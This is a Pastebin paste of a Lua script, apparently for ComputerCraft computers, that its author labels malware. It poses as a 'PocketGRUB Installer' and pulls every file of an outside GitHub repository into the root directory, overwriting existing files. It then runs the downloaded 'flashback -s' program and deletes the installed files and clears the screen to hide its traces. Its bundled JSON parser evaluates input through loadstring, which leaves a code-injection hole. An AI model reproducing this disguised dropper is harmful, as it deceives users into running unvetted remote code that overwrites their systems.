Advertisement
doublequestionmark

malware

Mar 9th, 2015
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 21.57 KB | None | 0 0
  1. print('credits: Trey aka CryroLithium aka doublequestionmark') 
  2. print('installing malware')
  3. _jstr = [[
  4.         local base = _G
  5.  
  6.         -----------------------------------------------------------------------------
  7.         -- Module declaration
  8.         -----------------------------------------------------------------------------
  9.  
  10.         -- Public functions
  11.  
  12.         -- Private functions
  13.         local decode_scanArray
  14.         local decode_scanComment
  15.         local decode_scanConstant
  16.         local decode_scanNumber
  17.         local decode_scanObject
  18.         local decode_scanString
  19.         local decode_scanWhitespace
  20.         local encodeString
  21.         local isArray
  22.         local isEncodable
  23.  
  24.         -----------------------------------------------------------------------------
  25.         -- PUBLIC FUNCTIONS
  26.         -----------------------------------------------------------------------------
  27.         --- Encodes an arbitrary Lua object / variable.
  28.         -- @param v The Lua object / variable to be JSON encoded.
  29.         -- @return String containing the JSON encoding in internal Lua string format (i.e. not unicode)
  30.         function encode (v)
  31.           -- Handle nil values
  32.           if v==nil then
  33.             return "null"
  34.           end
  35.          
  36.           local vtype = base.type(v)  
  37.  
  38.           -- Handle strings
  39.           if vtype=='string' then    
  40.             return '"' .. encodeString(v) .. '"'      -- Need to handle encoding in string
  41.           end
  42.          
  43.           -- Handle booleans
  44.           if vtype=='number' or vtype=='boolean' then
  45.             return base.tostring(v)
  46.           end
  47.          
  48.           -- Handle tables
  49.           if vtype=='table' then
  50.             local rval = {}
  51.             -- Consider arrays separately
  52.             local bArray, maxCount = isArray(v)
  53.             if bArray then
  54.               for i = 1,maxCount do
  55.                 table.insert(rval, encode(v[i]))
  56.               end
  57.             else -- An object, not an array
  58.               for i,j in base.pairs(v) do
  59.                 if isEncodable(i) and isEncodable(j) then
  60.                   table.insert(rval, '"' .. encodeString(i) .. '":' .. encode(j))
  61.                 end
  62.               end
  63.             end
  64.             if bArray then
  65.               return '[' .. table.concat(rval,',') ..']'
  66.             else
  67.               return '{' .. table.concat(rval,',') .. '}'
  68.             end
  69.           end
  70.          
  71.           -- Handle null values
  72.           if vtype=='function' and v==null then
  73.             return 'null'
  74.           end
  75.          
  76.           base.assert(false,'encode attempt to encode unsupported type ' .. vtype .. ':' .. base.tostring(v))
  77.         end
  78.  
  79.  
  80.         --- Decodes a JSON string and returns the decoded value as a Lua data structure / value.
  81.         -- @param s The string to scan.
  82.         -- @param [startPos] Optional starting position where the JSON string is located. Defaults to 1.
  83.         -- @param Lua object, number The object that was scanned, as a Lua table / string / number / boolean or nil,
  84.         -- and the position of the first character after
  85.         -- the scanned JSON object.
  86.         function decode(s, startPos)
  87.           startPos = startPos and startPos or 1
  88.           startPos = decode_scanWhitespace(s,startPos)
  89.           base.assert(startPos<=string.len(s), 'Unterminated JSON encoded object found at position in [' .. s .. ']')
  90.           local curChar = string.sub(s,startPos,startPos)
  91.           -- Object
  92.           if curChar=='{' then
  93.             return decode_scanObject(s,startPos)
  94.           end
  95.           -- Array
  96.           if curChar=='[' then
  97.             return decode_scanArray(s,startPos)
  98.           end
  99.           -- Number
  100.           if string.find("+-0123456789.e", curChar, 1, true) then
  101.             return decode_scanNumber(s,startPos)
  102.           end
  103.           -- String
  104.           if curChar=='"' or curChar=="'" then
  105.             return decode_scanString(s,startPos)
  106.           end
  107.           if string.sub(s,startPos,startPos+1)=='/*' then
  108.             return decode(s, decode_scanComment(s,startPos))
  109.           end
  110.           -- Otherwise, it must be a constant
  111.           return decode_scanConstant(s,startPos)
  112.         end
  113.  
  114.         --- The null function allows one to specify a null value in an associative array (which is otherwise
  115.         -- discarded if you set the value with 'nil' in Lua. Simply set t = { first=json.null }
  116.         function null()
  117.           return null -- so json.null() will also return null ;-)
  118.         end
  119.         -----------------------------------------------------------------------------
  120.         -- Internal, PRIVATE functions.
  121.         -- Following a Python-like convention, I have prefixed all these 'PRIVATE'
  122.         -- functions with an underscore.
  123.         -----------------------------------------------------------------------------
  124.  
  125.         --- Scans an array from JSON into a Lua object
  126.         -- startPos begins at the start of the array.
  127.         -- Returns the array and the next starting position
  128.         -- @param s The string being scanned.
  129.         -- @param startPos The starting position for the scan.
  130.         -- @return table, int The scanned array as a table, and the position of the next character to scan.
  131.         function decode_scanArray(s,startPos)
  132.           local array = {}   -- The return value
  133.           local stringLen = string.len(s)
  134.           base.assert(string.sub(s,startPos,startPos)=='[','decode_scanArray called but array does not start at position ' .. startPos .. ' in string:\n'..s )
  135.           startPos = startPos + 1
  136.           -- Infinite loop for array elements
  137.           repeat
  138.             startPos = decode_scanWhitespace(s,startPos)
  139.             base.assert(startPos<=stringLen,'JSON String ended unexpectedly scanning array.')
  140.             local curChar = string.sub(s,startPos,startPos)
  141.             if (curChar==']') then
  142.               return array, startPos+1
  143.             end
  144.             if (curChar==',') then
  145.               startPos = decode_scanWhitespace(s,startPos+1)
  146.             end
  147.             base.assert(startPos<=stringLen, 'JSON String ended unexpectedly scanning array.')
  148.             object, startPos = decode(s,startPos)
  149.             table.insert(array,object)
  150.           until false
  151.         end
  152.  
  153.         --- Scans a comment and discards the comment.
  154.         -- Returns the position of the next character following the comment.
  155.         -- @param string s The JSON string to scan.
  156.         -- @param int startPos The starting position of the comment
  157.         function decode_scanComment(s, startPos)
  158.           base.assert( string.sub(s,startPos,startPos+1)=='/*', "decode_scanComment called but comment does not start at position " .. startPos)
  159.           local endPos = string.find(s,'*/',startPos+2)
  160.           base.assert(endPos~=nil, "Unterminated comment in string at " .. startPos)
  161.           return endPos+2  
  162.         end
  163.  
  164.         --- Scans for given constants: true, false or null
  165.         -- Returns the appropriate Lua type, and the position of the next character to read.
  166.         -- @param s The string being scanned.
  167.         -- @param startPos The position in the string at which to start scanning.
  168.         -- @return object, int The object (true, false or nil) and the position at which the next character should be
  169.         -- scanned.
  170.         function decode_scanConstant(s, startPos)
  171.           local consts = { ["true"] = true, ["false"] = false, ["null"] = nil }
  172.           local constNames = {"true","false","null"}
  173.  
  174.           for i,k in base.pairs(constNames) do
  175.             --print ("[" .. string.sub(s,startPos, startPos + string.len(k) -1) .."]", k)
  176.             if string.sub(s,startPos, startPos + string.len(k) -1 )==k then
  177.               return consts[k], startPos + string.len(k)
  178.             end
  179.           end
  180.           base.assert(nil, 'Failed to scan constant from string ' .. s .. ' at starting position ' .. startPos)
  181.         end
  182.  
  183.         --- Scans a number from the JSON encoded string.
  184.         -- (in fact, also is able to scan numeric +- eqns, which is not
  185.         -- in the JSON spec.)
  186.         -- Returns the number, and the position of the next character
  187.         -- after the number.
  188.         -- @param s The string being scanned.
  189.         -- @param startPos The position at which to start scanning.
  190.         -- @return number, int The extracted number and the position of the next character to scan.
  191.         function decode_scanNumber(s,startPos)
  192.           local endPos = startPos+1
  193.           local stringLen = string.len(s)
  194.           local acceptableChars = "+-0123456789.e"
  195.           while (string.find(acceptableChars, string.sub(s,endPos,endPos), 1, true)
  196.            and endPos<=stringLen
  197.            ) do
  198.             endPos = endPos + 1
  199.           end
  200.           local stringValue = 'return ' .. string.sub(s,startPos, endPos-1)
  201.           local stringEval = base.loadstring(stringValue)
  202.           base.assert(stringEval, 'Failed to scan number [ ' .. stringValue .. '] in JSON string at position ' .. startPos .. ' : ' .. endPos)
  203.           return stringEval(), endPos
  204.         end
  205.  
  206.         --- Scans a JSON object into a Lua object.
  207.         -- startPos begins at the start of the object.
  208.         -- Returns the object and the next starting position.
  209.         -- @param s The string being scanned.
  210.         -- @param startPos The starting position of the scan.
  211.         -- @return table, int The scanned object as a table and the position of the next character to scan.
  212.         function decode_scanObject(s,startPos)
  213.           local object = {}
  214.           local stringLen = string.len(s)
  215.           local key, value
  216.           base.assert(string.sub(s,startPos,startPos)=='{','decode_scanObject called but object does not start at position ' .. startPos .. ' in string:\n' .. s)
  217.           startPos = startPos + 1
  218.           repeat
  219.             startPos = decode_scanWhitespace(s,startPos)
  220.             base.assert(startPos<=stringLen, 'JSON string ended unexpectedly while scanning object.')
  221.             local curChar = string.sub(s,startPos,startPos)
  222.             if (curChar=='}') then
  223.               return object,startPos+1
  224.             end
  225.             if (curChar==',') then
  226.               startPos = decode_scanWhitespace(s,startPos+1)
  227.             end
  228.             base.assert(startPos<=stringLen, 'JSON string ended unexpectedly scanning object.')
  229.             -- Scan the key
  230.             key, startPos = decode(s,startPos)
  231.             base.assert(startPos<=stringLen, 'JSON string ended unexpectedly searching for value of key ' .. key)
  232.             startPos = decode_scanWhitespace(s,startPos)
  233.             base.assert(startPos<=stringLen, 'JSON string ended unexpectedly searching for value of key ' .. key)
  234.             base.assert(string.sub(s,startPos,startPos)==':','JSON object key-value assignment mal-formed at ' .. startPos)
  235.             startPos = decode_scanWhitespace(s,startPos+1)
  236.             base.assert(startPos<=stringLen, 'JSON string ended unexpectedly searching for value of key ' .. key)
  237.             value, startPos = decode(s,startPos)
  238.             object[key]=value
  239.           until false  -- infinite loop while key-value pairs are found
  240.         end
  241.  
  242.         --- Scans a JSON string from the opening inverted comma or single quote to the
  243.         -- end of the string.
  244.         -- Returns the string extracted as a Lua string,
  245.         -- and the position of the next non-string character
  246.         -- (after the closing inverted comma or single quote).
  247.         -- @param s The string being scanned.
  248.         -- @param startPos The starting position of the scan.
  249.         -- @return string, int The extracted string as a Lua string, and the next character to parse.
  250.         function decode_scanString(s,startPos)
  251.           base.assert(startPos, 'decode_scanString(..) called without start position')
  252.           local startChar = string.sub(s,startPos,startPos)
  253.           base.assert(startChar=="'" or startChar=='"','decode_scanString called for a non-string')
  254.           local escaped = false
  255.           local endPos = startPos + 1
  256.           local bEnded = false
  257.           local stringLen = string.len(s)
  258.           repeat
  259.             local curChar = string.sub(s,endPos,endPos)
  260.             -- Character escaping is only used to escape the string delimiters
  261.             if not escaped then
  262.               if curChar=='\\' then
  263.                 escaped = true
  264.               else
  265.                 bEnded = curChar==startChar
  266.               end
  267.             else
  268.               -- If we're escaped, we accept the current character come what may
  269.               escaped = false
  270.             end
  271.             endPos = endPos + 1
  272.             base.assert(endPos <= stringLen+1, "String decoding failed: unterminated string at position " .. endPos)
  273.           until bEnded
  274.           local stringValue = 'return ' .. string.sub(s, startPos, endPos-1)
  275.           local stringEval = base.loadstring(stringValue)
  276.           base.assert(stringEval, 'Failed to load string [ ' .. stringValue .. '] in JSON4Lua.decode_scanString at position ' .. startPos .. ' : ' .. endPos)
  277.           return stringEval(), endPos  
  278.         end
  279.  
  280.         --- Scans a JSON string skipping all whitespace from the current start position.
  281.         -- Returns the position of the first non-whitespace character, or nil if the whole end of string is reached.
  282.         -- @param s The string being scanned
  283.         -- @param startPos The starting position where we should begin removing whitespace.
  284.         -- @return int The first position where non-whitespace was encountered, or string.len(s)+1 if the end of string
  285.         -- was reached.
  286.         function decode_scanWhitespace(s,startPos)
  287.           local whitespace=" \n\r\t"
  288.           local stringLen = string.len(s)
  289.           while ( string.find(whitespace, string.sub(s,startPos,startPos), 1, true)  and startPos <= stringLen) do
  290.             startPos = startPos + 1
  291.           end
  292.           return startPos
  293.         end
  294.  
  295.         --- Encodes a string to be JSON-compatible.
  296.         -- This just involves back-quoting inverted commas, back-quotes and newlines, I think ;-)
  297.         -- @param s The string to return as a JSON encoded (i.e. backquoted string)
  298.         -- @return The string appropriately escaped.
  299.         function encodeString(s)
  300.           s = string.gsub(s,'\\','\\\\')
  301.           s = string.gsub(s,'"','\\"')
  302.           s = string.gsub(s,"'","\\'")
  303.           s = string.gsub(s,'\n','\\n')
  304.           s = string.gsub(s,'\t','\\t')
  305.           return s
  306.         end
  307.  
  308.         -- Determines whether the given Lua type is an array or a table / dictionary.
  309.         -- We consider any table an array if it has indexes 1..n for its n items, and no
  310.         -- other data in the table.
  311.         -- I think this method is currently a little 'flaky', but can't think of a good way around it yet...
  312.         -- @param t The table to evaluate as an array
  313.         -- @return boolean, number True if the table can be represented as an array, false otherwise. If true,
  314.         -- the second returned value is the maximum
  315.         -- number of indexed elements in the array.
  316.         function isArray(t)
  317.           -- Next we count all the elements, ensuring that any non-indexed elements are not-encodable
  318.           -- (with the possible exception of 'n')
  319.           local maxIndex = 0
  320.           for k,v in base.pairs(t) do
  321.             if (base.type(k)=='number' and math.floor(k)==k and 1<=k) then   -- k,v is an indexed pair
  322.               if (not isEncodable(v)) then return false end   -- All array elements must be encodable
  323.               maxIndex = math.max(maxIndex,k)
  324.             else
  325.               if (k=='n') then
  326.                 if v ~= table.getn(t) then return false end  -- False if n does not hold the number of elements
  327.               else -- Else of (k=='n')
  328.                 if isEncodable(v) then return false end
  329.               end  -- End of (k~='n')
  330.             end -- End of k,v not an indexed pair
  331.           end  -- End of loop across all pairs
  332.           return true, maxIndex
  333.         end
  334.  
  335.         --- Determines whether the given Lua object / table / variable can be JSON encoded. The only
  336.         -- types that are JSON encodable are: string, boolean, number, nil, table and json.null.
  337.         -- In this implementation, all other types are ignored.
  338.         -- @param o The object to examine.
  339.         -- @return boolean True if the object should be JSON encoded, false if it should be ignored.
  340.         function isEncodable(o)
  341.           local t = base.type(o)
  342.           return (t=='string' or t=='boolean' or t=='number' or t=='nil' or t=='table') or (t=='function' and o==null)
  343.         end
  344. ]]
  345.  
  346. function loadJSON()
  347.         local sName = 'JSON'
  348.                
  349.         local tEnv = {}
  350.         setmetatable( tEnv, { __index = _G } )
  351.         local fnAPI, err = loadstring(_jstr)
  352.         if fnAPI then
  353.                 setfenv( fnAPI, tEnv )
  354.                 fnAPI()
  355.         else
  356.                 printError( err )
  357.                 return false
  358.         end
  359.        
  360.         local tAPI = {}
  361.         for k,v in pairs( tEnv ) do
  362.                 tAPI[k] =  v
  363.         end
  364.        
  365.         _G[sName] = tAPI
  366.         return true
  367. end
  368.  
  369. print('PocketGRUB Installer')
  370. print('Please wait...')
  371.  
  372. Settings = {
  373.         InstallPath = '/', --Where the program's installed, don't always asume root (if it's run under something like OneOS)
  374.         Hidden = false, --Whether or not the update is hidden (doesn't write to the screen), useful for background updates
  375.         GitHubUsername = 'ROFLCopter64bit', --Your GitHub username as it appears in the URL
  376.         GitHubRepoName = 'Flashback', --The repo name as it appears in the URL
  377.         DownloadReleases = true, --If true it will download the latest release, otherwise it will download the files as they currently appear
  378.         UpdateFunction = nil, --Sent when something happens (file downloaded etc.)
  379.         TotalBytes = 0, --Do not change this value (especially programatically)!
  380.         DownloadedBytes = 0, --Do not change this value (especially programatically)!
  381.         Status = '',
  382.         SecondaryStatus = '',
  383. }
  384.  
  385. loadJSON()
  386.  
  387. function downloadJSON(path)
  388.         local _json = http.get(path)
  389.         if not _json then
  390.                 error('Could not download, check your connection.')
  391.         end
  392.         return JSON.decode(_json.readAll())
  393. end
  394.  
  395. if http then
  396.         print('HTTP enabled, attempting update...')
  397. else
  398.         print('HTTP is required to update.')
  399.                 sleep(5)
  400.         error('')
  401. end
  402.  
  403. print('Determining Latest Version')
  404. local releases = downloadJSON('https://api.github.com/repos/'..Settings.GitHubUsername..'/'..Settings.GitHubRepoName..'/releases')
  405. local latestReleaseTag = releases[1].tag_name
  406. print('Obtaining Latest Version URL')
  407. local refs = downloadJSON('https://api.github.com/repos/'..Settings.GitHubUsername..'/'..Settings.GitHubRepoName..'/git/refs')
  408. local latestReleaseSha = ''
  409. for i, v in ipairs(refs) do
  410.         if v.ref == 'refs/tags/'..latestReleaseTag then
  411.                 latestReleaseSha = v.object.sha
  412.         end
  413. end
  414.  
  415. print('Downloading File Listing')
  416.  
  417. local tree = downloadJSON('https://api.github.com/repos/'..Settings.GitHubUsername..'/'..Settings.GitHubRepoName..'/git/trees/'..latestReleaseSha..'?recursive=1').tree
  418.  
  419. local blacklist = {
  420.         '/.gitignore',
  421.         '/README.md',
  422.         '/.gitattributes',
  423.         '/lgrub.sys/bios.settings',
  424.         '/.version'
  425. }
  426.  
  427. function isBlacklisted(path)
  428.         for i, item in ipairs(blacklist) do
  429.                 if item == path then
  430.                         return true
  431.                 end
  432.         end
  433.         return false
  434. end
  435.  
  436. Settings.TotalFiles = 0
  437. Settings.TotalBytes = 0
  438. for i, v in ipairs(tree) do
  439.         if not isBlacklisted(Settings.InstallPath..v.path) and v.size then
  440.                 Settings.TotalBytes = Settings.TotalBytes + v.size
  441.                 Settings.TotalFiles = Settings.TotalFiles + 1
  442.         end
  443. end
  444.  
  445. Settings.DownloadedBytes = 0
  446. function downloadBlob(v)
  447.         if isBlacklisted(Settings.InstallPath..v.path) then
  448.                 return
  449.         end
  450.         if v.type == 'tree' then
  451.                 print('Making folder: '..'/'..Settings.InstallPath..v.path)
  452.                 fs.makeDir('/'..Settings.InstallPath..v.path)
  453.         else
  454.                 print('Starting download for: '..Settings.InstallPath..v.path)
  455.                 local f = http.get(('https://raw.github.com/'..Settings.GitHubUsername..'/'..Settings.GitHubRepoName..'/'..latestReleaseTag..Settings.InstallPath..v.path):gsub(' ','%%20'))
  456.                 if not f then
  457.                         error('Downloading failed, try again. '..('https://raw.github.com/'..Settings.GitHubUsername..'/'..Settings.GitHubRepoName..'/'..latestReleaseTag..Settings.InstallPath..v.path):gsub(' ','%%20'))
  458.                 end
  459.                 local h = fs.open('/'..Settings.InstallPath..v.path, 'w')
  460.                 h.write(f.readAll())
  461.                 h.close()
  462.                 print('('..math.floor(100*(Settings.DownloadedBytes/Settings.TotalBytes))..'%) Downloaded: '..Settings.InstallPath..v.path)
  463.                 if v.size then
  464.                         Settings.DownloadedBytes = Settings.DownloadedBytes + v.size
  465.                 end
  466.         end
  467. end
  468.  
  469. local downloads = {}
  470. for i, v in ipairs(tree) do
  471.         table.insert(downloads, function()downloadBlob(v)end)
  472. end
  473.  
  474. parallel.waitForAll(unpack(downloads))
  475.  
  476. local h = fs.open('/lgrub.sys/.version', 'w')
  477. h.write(latestReleaseTag)
  478. h.close()
  479.  
  480. print('Installation Complete!')
  481. shell.run('flashback -s')
  482. fs.delete('flashback.sys')
  483. fs.delete('lgrub.sys')
  484. fs.delete('flashback')
  485.     print('done, clearing screen')
  486.     sleep(1)
  487.     term.clear()
  488. term.setCursorPos(1,1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement